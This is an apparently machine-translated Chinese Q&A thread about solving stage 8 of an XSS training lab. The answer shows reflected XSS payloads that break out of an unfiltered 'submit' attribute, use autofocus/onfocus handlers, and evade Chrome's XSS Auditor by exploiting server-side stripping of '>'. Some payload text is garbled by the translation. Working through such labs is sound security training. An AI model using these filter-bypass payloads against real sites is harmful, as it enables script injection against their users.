绕过XSS过滤器

时间:2017-03-27 08:59:49

标签: xss

如何绕过XSS过滤器并在此页面上弹出警告:

http://leettime.net/xsslab1/stage--08.php

脚本似乎在服务器端过滤单引号('),这使我无法注入值字段。

<input type="text" name="name" value=''></input>

此页面是XSS测试系列的一部分,因此我确信可以以某种方式弹出警报,但我不知道如何。

2 个答案:

答案 0 :(得分:0)

我错了。可以注入其他表单字段来完成任务。

答案 1 :(得分:0)

输入名称并单击“提交”。表单通过GET请求提交,因此您可以在URL中看到这两个参数。两者都反映在HTML响应中。

名=海绵&安培;提交=

<font size=3>Enter Your Name here : <input type="text" name="name" value='spongebob'></input>
<input type="submit" name="submit" value="">

而不是名称参数专注于提交。它用双引号括起来,没有过滤。因为字符&gt;被删除后无法关闭标签,因此注册必须在标签内部进行。 &GT;被剥夺了:

名=海绵&安培;提交=%22%3E%3Cscript%3Ealert(document.URL)%3C /脚本%3E

<input type="submit" name="submit" value=""<scriptalert(document.URL)</script">

通过组合onfocus和自动对焦可以自动运行javascript。

名=海绵&安培;提交=%22%20autofocus%20onfocus =%22alert(document.URL)

<input type="submit" name="submit" value="" autofocus onfocus="(document.URL)">

这是一个可以在Firefox中自动运行的XSS,但不会在Chrome中运行,因为Chrome的XSS审核员会检测到它是一个反映的XSS。

Chrome XSS auditor reports that 'Token contains a reflecte XSS vector'

所以让我们使用'&gt;'的服务器端过滤对我们有利,因此Chrome无法检测到提交参数是否反映在HTML中。

名=海绵&安培;提交= “%20auto&GT;聚焦%20onf&GT; OCUS =” 警报(文件&GT; ument.URL)

Chrome XSS auditor bypassed using because of server side filtering